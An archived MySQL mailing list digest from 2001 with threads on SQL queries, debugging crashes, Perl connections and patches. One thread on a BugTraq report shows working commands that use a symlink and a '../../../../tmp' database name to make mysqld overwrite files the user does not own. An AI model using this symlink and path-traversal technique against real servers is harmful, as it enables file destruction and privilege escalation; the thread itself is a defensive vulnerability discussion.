Hi John, On Wed, Mar 21, 2001 at 09:51:10AM +1000, John Nielsen wrote: Hi Everyone, This question may have been asked before, but i could not find it in the archives, so i was wondering if someone could help me out. Say i had the following table: +++-+ | id | address| domainalias | +++-+ | 2 | [EMAIL PROTECTED] | fred| | 3 | [EMAIL PROTECTED] | bill| +++-+ Now say i had over 200 entrys in that table, but all i wanted to see was just "[EMAIL PROTECTED]" but i did not know what "id" it was, is there a way i can "search" the table, and only show the relevent information that i need? If you do know the id, you would use: SELECT * FROM tablename WHERE id = 1 Now you know the address, so you do: SELECT * FROM tablename WHERE address = '[EMAIL PROTECTED]' Is this really what you're asking? If so, you might want to read some basic SQL stuff. Regards, Fred. -- Fred van Engen XO Communications B.V. email: [EMAIL PROTECTED] Televisieweg 2 tel: +31 36 5462400 1322 AC Almere fax: +31 36 5462424 The Netherlands - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Compile Problem
I have GNU GCC 2.96 and when I run configure, I get the following error: configure: error: installation or configuration problem: C++ compiler cannot create executables. any solution to this? Is 2.96 incompatable? Should I have a different compiler? Thanks, Jason - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: jpegs in a database
On 20-Mar-01 Mike Baerwolf wrote:
Hello,
Still trying to get jpegs into my database. I have a blob column setup, How
do I get the jpeg into the blob column?
localhost.dread$ grep LOAD_ $MANUAL
`LOAD_FILE(file_name)'
SET blob_column=LOAD_FILE("/tmp/picture")
* Fixed coredump in LOAD_FILE(NULL).
* New function `LOAD_FILE(filename)' to get the contents of a file
--
Don Read [EMAIL PROTECTED]
-- If you are going to sin, sin against God, not the bureaucracy.
God will forgive you but the bureaucrats won't.
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: mysqldump
On 21-Mar-01 Randy Johnson wrote: Hello, is there anyway to execute a mysqldump command via the web and have the dump stored on a file on the server. yes. $cmd="/usr/local/bin/mysqldump -u user -ppasswd db $cmd .=" /path/to/dump/db.dmp"; system($cmd); do any of the webinterfaces offer that? Unknown. any scripting languages? php, Perl, sh Regards, -- Don Read [EMAIL PROTECTED] -- If you are going to sin, sin against God, not the bureaucracy. God will forgive you but the bureaucrats won't. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
fwd: (dread@texas.net) Re: update
Hi.
Don mailed this only to me, but from the content it was obviously
intended for the list (or at least [EMAIL PROTECTED]).
- Forwarded message from Don Read [EMAIL PROTECTED] -
From: Don Read [EMAIL PROTECTED]
To: Benjamin Pflugmann [EMAIL PROTECTED]
Subject: Re: update
Date: Wed, 21 Mar 2001 03:58:39 -0600 (CST)
X-Mailer: XFMail 1.4.0 on FreeBSD
On 21-Mar-01 Benjamin Pflugmann wrote:
Hi.
On Mon, Mar 19, 2001 at 04:19:32PM +0800, [EMAIL PROTECTED] wrote:
I want to use mysql_affected_rows to determine whether the sql statement is
executed or not found.
If mysql_affected_rows return 0,I take it as not found.
But If I update a value to the value it already was,
(It means if some value is 'test', and in my sql statement I update this
value to 'test')
mysql_affected_rows also return 0, so I take it as not_found,but it is not
I
want.
How should I do?
Why are you updating blind ? Don't do that.
$qry="select * from da_table where da_value 'test'";
$res=mysql_query($qry)
or die ('PError ' .mysql_errno() .' '.mysql_error()."BR\n");
if (mysql_num_rows($res)) {
$qry="update da_table set da_value='test' where da_value 'test'";
$res=mysql_query($qry);
if ($res) {
echo 'Updated:', mysql_affected_rows(), 'br';
}
} else {
echo 'nothing to do !br';
}
This behaviour is the expected, documented one and even the special
case you want is documented. There is a config variable to change the
default behaviour. Have a look at the manual. Don't know the section
from head, but shouldn't be hard to find.
http://www.php.net/manual/en/function.mysql-affected-rows.php
--
Don Read [EMAIL PROTECTED]
-- If you are going to sin, sin against God, not the bureaucracy.
God will forgive you but the bureaucrats won't.
- End forwarded message -
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: speed problems
Hi. On Wed, Mar 21, 2001 at 11:57:09AM +0200, [EMAIL PROTECTED] wrote: Disk speed and memory is more relevant than CPU speed most times, so you should include that info in your comparison. This is the fun part :). Machine which is the fastest with old mysql and Debian has IDE HDD and 128 MB RAM, RH7 machine (dual PIII and new mysql) has SCSI RAID and 512 MB RAM, same with FreeBSD server. Some RAID levels are slower than normal disks, because they concentrate on redundancy and not on speed. Which RAID level do you use? And how big is your table in bytes (not rows). Little more than 12 MB Okay, that means, memory is no problem. And disks shouldn't be a problem either, because the table fits into memory. (Sorry, don't remember the test case anymore. Did it contain INSERTs/UPDATEs?) I would start with comparing the output of mysqladmin variables Already did this. Machines with new mysql have ALL bigger values (key-buffer, sort-buffer etc) than this old mysql. And we tested them with same values too... nothing, still alot slower :( Well. Next, compare the output of EXPLAIN for all machines. In any case, it should be the same for the same MySQL versions. If it differs for any of the test cases, this could cause the speed difference. Yes, they are same with same versions of MySQL. This implies, they are not the same for different versions of MySQL? Then, as I said, this is the probably cause for the speed difference. Could you post the output of both, please? Bye, Benjamin. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: MYSQLGUI problem - won't connect
David Reid writes:
I just downloaded the latest version on MySQL as well as the MYSQLGUI
program. I have MySQL installed and I can access it from the mysql
command line but I just can't get MYSQLGUI to connect. It keeps giving
me - Can't connect to local MySQL server through socket " (111) -
Can you tell me where I am going wrong. I get the same error with both
the static and semi-static versions for Linux.
Thanks,
David
Hi!
All you have to do is follow instructions from README that comes from
any of the above distros.
Here is a relevant excerpt.
When you start it for the first time, click on ``Options'' button, fill up
all entries correctly and click on ``Save'' button. From then on, you will
logon automatically to the running server on every mysqlgui startup.
Take care to put the right value in ``Ask for password'' button. Also, if
you have problems with location of socket files on *nix, enter a full path
of the socket file in the ``SQL command on the start-up''. This input field
is used on Windoze if you wish to specify that named pipe option.
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Antwort: Re: Warning: Got signal 14 from thread X
[EMAIL PROTECTED] writes:
On 20.03.2001 14:48:58 Sinisa Milivojevic wrote:
Also, do you have clients that do not call mysql_close at the end ,
like PHP programs ?
Huh? According to the PHP manual, I always thought that it is unnecessary to
explicitly call mysql_close() in PHP. In the PHP manual it says, that the
connection is closed automatically when the script finishes.
See http://www.php.net/manual/en/function.mysql-close.php . Quote from the
manual:
| Using mysql_close() isn't usually necessary, as non-persistent open
| links are automatically closed at the end of the script's execution.
Unfortunately, that is not true !!
PHP has yet to fix that. That is not a serious error, though, just a
small waste of OS resources.
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Re[2]: Warning: Got signal 14 from thread X
BAUMEISTER Alexandre writes:
Bonjour Sinisa,
SM The above could indicate some timeout problem.
SM Can you build mysql --with-debug and start it with --debug and see in
SM the trace file when are the above timeouts reported ??
SM Also, do you have clients that do not call mysql_close at the end ,
SM like PHP programs ?
No. I don't think so. Nothing queries the server. Each time I do a
'mysqladmin stat' I see only one more query which is the stat query
in fact.
I've just compiled with --with-debug and run the server with
--debug. I changed nothing else. Here is what happens now :
010320 17:09:44 mysqld started
Innobase: Started
/usr/local/mysql/libexec/mysqld: ready for connections
mysqld got signal 11;
The manual section 'Debugging a MySQL server' tells you how to use a
stack trace and/or the core file to produce a readable backtrace that may
help in finding out why mysqld died.
010320 17:10:30 mysqld restarted
Innobase: Started
/usr/local/mysql/libexec/mysqld: ready for connections
mysqld got signal 11;
The manual section 'Debugging a MySQL server' tells you how to use a
stack trace and/or the core file to produce a readable backtrace that may
help in finding out why mysqld died.
010320 17:13:02 mysqld restarted
Innobase: Database was not shut down normally.
Innobase: Starting recovery from log files...
Innobase: Starting log scan based on checkpoint at
Innobase: log sequence number 0 744725926
Innobase: Started
/usr/local/mysql/libexec/mysqld: ready for connections
I continue to investigate.
Regards,
Alex.
Hi!
As you have already built MySQL --with-debug, start mysqld through gdb
(without --debug) and when it gets SIGSEGV send us report on backtrace
plus info locals on all frames.
Also let us know what query server has been executing and a full
mysqlbug report.
Thanks.
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: 3.23.35 mysqlimport Doesn't Report Stats (resent)
Nick Pasich writes:
After upgrading from 3.23.32 to 3.23.35 I stopped getting statistics
when using mysqlimport. (Records: Deleted: Skipped: Warnings:)
I took a quick look at 3.23.32 mysqlimport.c and it is the same code as
3.23.35.
The command
---
mysqlimport --ignore --verbose --fields-terminated-by=',' --fields-enclosed-by='"'
traffic $BFILE
From 3.23.32 (is OK)
Connecting to localhost
Selecting database traffic
Loading data from SERVER file:
/usr/local/MYSQL/DB/traffic/LOADDIR/blockedHistory.asc into blockedHistory
traffic.blockedHistory: Records: 269 Deleted: 0 Skipped: 0 Warnings: 0
^^ ^^ ^^^
Disconnecting from localhost
From 3.23.35 (No Statistics)
Connecting to localhost
Selecting database traffic
Loading data from SERVER file:
/usr/local/MYSQL/DB/traffic/LOADDIR/blockedHistory.asc into blockedHistory
traffic.blockedHistory:
^^ ^^ ^^^
Disconnecting from localhost
-( Nick Pasich )-
Hi!
Here is a patch for the above bug:
*** tmp/net_pkg.cc Mon Mar 19 20:16:49 2001
--- sql/net_pkg.cc Mon Mar 19 20:17:11 2001
***
*** 148,154
buff[0]=0; // No fields
pos=net_store_length(buff+1,(ulonglong) affected_rows);
pos=net_store_length(pos, (ulonglong) id);
! if (net-return_status)
{
int2store(pos,*net-return_status);
pos+=2;
--- 148,154
buff[0]=0; // No fields
pos=net_store_length(buff+1,(ulonglong) affected_rows);
pos=net_store_length(pos, (ulonglong) id);
! if (net-return_status opt_using_transactions)
{
int2store(pos,*net-return_status);
pos+=2;
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Bug in Mysql C API?
Rafael Martinez writes:
Hei
If I send a SELECT sql-request to my DB and this request returns an
"Empty set" ...
mysql_num_rows(MYSQL_RES *result) returns 0 - This is OK
but mysql_num_fields(MYSQL_RES *result) returns 1 - This is not OK ;-)
Why? Am I missing anything?
Sincerely
Rafael Martinez
No, the above is 100 % OK.
A relation with no tuples is still a relation. Like an wmpty set.
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: non-standard socket
On Tue, Mar 20, 2001 at 03:12:39PM -0600, Jeff Jones wrote: I am using mysqld_multi to have several different mysql servers start. I have finally gotten it to work with php when I connect to a non-standard socket, such as /tmp/mysql.sock2. Does anyone know how to connect to a database with perl through that socket? I have tried the following with no luck: my($port) = '/tmp/mysql.sock2'; my($mysql) = "DBI:mysql:webhost:localhost:$port"; $dbh = DBI-connect($mysql, 'user', 'pass'); But it will not establish the connection. Has anyone done this before or is it even possible with the Perl DBI? Do a 'perldoc DBD::mysql' (or whatever the module name is on your system). With version 1.2215 of the mSQL/MySQL modules on a FreeBSD system, this is part of the documentation: mysql_socket As of MySQL 3.21.15, it is possible to choose the Unix socket that is used for connecting to the server. This is done, for example, with mysql_socket=/dev/mysql Usually there's no need for this option, unless you are using another location for the socket than that built into the client. So, the following excerpt.. my $dbh = DBI-connect( "DBI:mysql:database=test;host=localhost;mysql_socket=/tmp/mysql-alt.sock", "root", "", 0); ..Works For Me (tm). Hope that helps. G'luck, Peter -- Hey, out there - is it *you* reading me, or is it someone else? - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Warning: Got signal 14 from thread X
Heikki Tuuri writes:
Alex,
I looked at the new debug log you sent and obviously some client is
making connections to your server. This cannot come from
Innobase, there must be some client process running on your machine.
From the debug log I find the following:
...
T@11 : info: handle_one_connection called by thread 1
T@11 : info: check_connections called by thread 1
...snip
T@11 : vio_read
T@11 : | enter: sd=10, buf=5a48230, size=4
T@11 : | error: Got error 11 during read
T@11 : | exit: -1
T@11 : vio_read
T@11 : info: vio_read returned -1, errno: 11
T@11 : thr_alarm
T@11 : | enter: thread: T@11 sec: 5
T@11 : | info: reschedule
T@11 : thr_alarm
T@11 : vio_is_blocking
T@10 : | process_alarm
T@10 : | | info: sig: 14 active alarms: 1
T@11 : | exit: 0
...
Obviously vio_read fails on an error 11, and then mysqld calls
thr_alarm to produce signal 14.
From /usr/include/sys/errno.h I find:
#define EAGAIN 11 /* Resource temporarily unavailable */
Probably Sinisa can find out what is the problem here.
Regards,
Heikki
Hi!
Yes, of course. It has nothing to do with Innobase.
Alex, you ran out of filedescriptors or out of anodes, depending on OS
that you are using.
It could also be caused by a bug in TCP/IP part of the kernel, but the
above causes are much more likely.
Check out both your global and ulimit values.
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: large file support
Michelle DeCurtis writes:
I am running linux 6.2 (2.4 kernel) with MySQL3.23 installed. This kernel
allows MySQL3.23 to support large file sizes, up to 4 Gigs.
It looks like the mysqldump utility is still bound by the 2 GB file size
limit. Does anyone know how to get mysqldump to recognize the
large files.
Hi!
mysqldump knows nothing about any file size limits.
Try to make files on the same file system larger then 2 and 4 Gb and
see if you can do it. Also check free disk space.
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Pauses with large selects
S Lemmon writes:
Hi,
My main experience is with Informix databases, but am trying MySQL on
our web server (ver 3.23.33 running on Linux 2.2.16-3). In general
it's working well, but being a MySQL newbie I'm a bit mystified by
some odd select behavior.
With Informix, doing a simple select like "select * from foo" (no where
clause or order by) will always return results immediately regardless of
how many rows are in table "foo". However, in my test MySQL database,
when "foo" is a large table I get a long pause before any results come
back and (even odder) another long pause when closing the statement
handle after fetching a few rows. MySQL's CPU usage also shoots way up
during these pauses. Are all the results are being buffered up somewhere
before anything is returned, and then, I'm guessing, purged when the
query is finished? It's odd that the closing pause is often longer and
more CPU intensive than the opening one.
With Informix, initial buffering only happens if something like a
temporary table or index has to be created. Otherwise the results are
returned as they are found by the db engine scanning through the table.
In any case, there's no delay when closing. With the MySQL database, it
seems the larger the potential result set, the longer both pauses
become. In most cases I can get around it by just trimming the results
with LIMIT, but when I actually need to iterate through a large table,
wouldn't buffering up perhaps millions of rows cause problems (if that's
what's really happening)?
Really, I'm not sure if this is a bug, some problem with my tables, or
just the way MySQL works. I'd be grateful if someone could shed some
light on what might be causing the pause, or if it's normal, perhaps a
better way to loop through all the rows in a large table without
building up a potentially huge temporary buffer somewhere.
Thanks for your time,
S. Lemmon
Hi!
With :
select * from table;
queries MySQL returns results immediately.
Any problem that you experience might come only from poor build, some
OS bug or some wrong settings.
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: group by error in query
On Wed, Mar 21, 2001 at 07:31:20PM +1100, Daniel Kirk wrote: Hi, I've just ported from SQLServer where this query ran fine, however MySQL gives an "invalid use of group function" error. Any ideas? thx dan select us.username, us.id as userid, count(*) as tips from UserTippingInfo u, Matches m, Users us WHERE round = 23 AND us.id = u.userid AND m.matchnumber = u.matchnumber and played = 1 and u.tip = m.winner and u.competitionid = 20 and datemade dateplayed group by us.username, us.id order by count(*) DESC, MIN(datemade) LIMIT 10 What version of MySQL are you using? Versions before 3.23.xx don't allow group functions in the order by clause. See the manual for a workaround. I believe you would name the expressions in your field list and then use the name in your order by. Regards, Fred. -- Fred van Engen XO Communications B.V. email: [EMAIL PROTECTED] Televisieweg 2 tel: +31 36 5462400 1322 AC Almere fax: +31 36 5462424 The Netherlands - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: group by error in query
thanks I worked it out. SQLServer requires SELECT Count(*) as fieldname ... ORDER BY Count(*). MySQL requires SELECT count(*) as fieldname ... ORDER BY fieldname -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]On Behalf Of Fred van Engen Sent: Wednesday, 21 March 2001 10:54 To: Daniel Kirk; [EMAIL PROTECTED] Subject: Re: group by error in query On Wed, Mar 21, 2001 at 07:31:20PM +1100, Daniel Kirk wrote: Hi, I've just ported from SQLServer where this query ran fine, however MySQL gives an "invalid use of group function" error. Any ideas? thx dan select us.username, us.id as userid, count(*) as tips from UserTippingInfo u, Matches m, Users us WHERE round = 23 AND us.id = u.userid AND m.matchnumber = u.matchnumber and played = 1 and u.tip = m.winner and u.competitionid = 20 and datemade dateplayed group by us.username, us.id order by count(*) DESC, MIN(datemade) LIMIT 10 What version of MySQL are you using? Versions before 3.23.xx don't allow group functions in the order by clause. See the manual for a workaround. I believe you would name the expressions in your field list and then use the name in your order by. Regards, Fred. -- Fred van Engen XO Communications B.V. email: [EMAIL PROTECTED] Televisieweg 2 tel: +31 36 5462400 1322 AC Almere fax: +31 36 5462424 The Netherlands - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: core dumps
Voytek Lapinski writes:
I'm trying to diagnose a segmentation fault we're getting in mysql so I can
send a slightly decent bug report about it, and would like to get a core dump.
I CANNOT get it to dump core. I'm using the --core-file option. I've made
sure my ulimit to coredump size is set big enough. It just won't do it.
It's a 3.23.35 database (also testing 3.23.32 which exhibits the same
problem).
Anyone help?
I'll be posting more details regarding the actual problem soonish once I
reckon I know what it is. (It seems to be some sort of non thread safe
business in the code that handles connections that can happen when you get a
lot of simultaneous connections at around the same time)
--
Voytek Lapinski [EMAIL PROTECTED]
Software Engineer Hotkey Internet
ph: 03 9923 3656 mob: 0427 469 891
fax: 03 9923 3388 www.hotkey.net.au
Hi!
You do not have to get a core dump.
It is enough for you to inform us exactly what to do in order to
receive signal 11.
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: FW: potential vulnerability of mysqld running with root privileges
Hi! On Mar 21, Benjamin Pflugmann wrote: Hi. On Tue, Mar 20, 2001 at 12:22:19PM +0100, [EMAIL PROTECTED] wrote: Hi! On Mar 20, Basil Hussain wrote: Hi all, The original message below was posted to the BugTraq mailing list. Have the developers seen this? I know it talks about version mysql-3.20.32a (which is ancient), but he mentions that it affects other versions. Anyway, I don't run my MySQL server as root, so I'm not worried. :) You shouldn't. MySQL-3.23 is not vulnerable. How did you determine that? Sorry to contradict, but have a look: [...] Did I overlook something? No, it's me who overlooked something :-( Sorry for confusion... Anyway, this would be fixed asap. Regards, Sergei -- MySQL Development Team __ ___ ___ __ / |/ /_ __/ __/ __ \/ / Sergei Golubchik [EMAIL PROTECTED] / /|_/ / // /\ \/ /_/ / /__ MySQL AB, http://www.mysql.com/ /_/ /_/\_, /___/\___\_\___/ Osnabrueck, Germany ___/ - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: my wishlist
Thalis A. Kalfigopoulos writes:
Dear Santa,
here is my wishlist:
I wish that the mysql utility had support for the shell's history functions. I catch
mysql so many time doing something like !show
regards,
thalis
Hi!
First of all, Christmas is far away.
Second, mysql program fully supports command history. On Windoze, you
have to use mysqlc.exe program.
Or you can use mysqlgui to have a history in a list box. And each
database has it's own history.
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: FW: potential vulnerability of mysqld running with root privileges
Benjamin Pflugmann writes:
Hi.
On Tue, Mar 20, 2001 at 12:22:19PM +0100, [EMAIL PROTECTED] wrote:
Hi!
On Mar 20, Basil Hussain wrote:
Hi all,
The original message below was posted to the BugTraq mailing list. Have the
developers seen this? I know it talks about version mysql-3.20.32a (which is
ancient), but he mentions that it affects other versions.
Anyway, I don't run my MySQL server as root, so I'm not worried. :)
You shouldn't.
MySQL-3.23 is not vulnerable.
How did you determine that?
Sorry to contradict, but have a look:
newton:~ mysql -u root -e "select version()"
+---+
| version() |
+---+
| 3.23.33 |
+---+
8:26:25 newton:~ sudo -u mysql touch /tmp/test # just created a file owned by
mysql-user
8:26:45 newton:~ ln -sf /tmp/test /tmp/yikes.MYI
8:26:54 newton:~ ls -l /tmp
[...]
-rw-r--r--1 mysqlmysql 0 Mar 21 08:26 test
lrwxrwxrwx1 philemon philemon9 Mar 21 08:28 yikes.MYI - /tmp/test
8:26:57 newton:~ mysql ../../../../tmp -e "create table yikes(w int(4))"
8:27:02 newton:~ ls -l /tmp
[...]
-rw-r--r--1 mysqlmysql1024 Mar 21 08:28 test
-rw-rw1 mysqlmysql 0 Mar 21 08:28 yikes.MYD
lrwxrwxrwx1 philemon philemon9 Mar 21 08:28 yikes.MYI - /tmp/test
-rw-rw1 mysqlmysql8548 Mar 21 08:28 yikes.frm
So, I have just overwritten a file not owned by me, namely /tmp/test.
If mysql was running as root (which is of couse deprecated), I could
overwrite any file in the system this way and even gain root access
(as shown by someone on bugtraq), I think.
Did I overlook something?
So, it looks to me, that at least 3.23.33 is not secure in this way (I
have not compared 3.23.34 resp. 3.23.35 because for both problems were
reported preventing them from use in production systems).
Even without MySQL running as root, I can do a lot of harm (with
privilege to create tables, I can probably gain MySQL root privileges,
delete any other table, delete configs and log files and so on).
Bye,
Benjamin.
Hi!
Running mysql as root is not safe.
Next, you had full shell access, with which you can accomplish
practically anything. Just take a look at passwd or shadow file, crack
it and you can have what ever you want.
Last but not least, there is another matter. CREATE and FILE
privileges also should not be granted lightly.
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re[2]: Warning: Got signal 14 from thread X
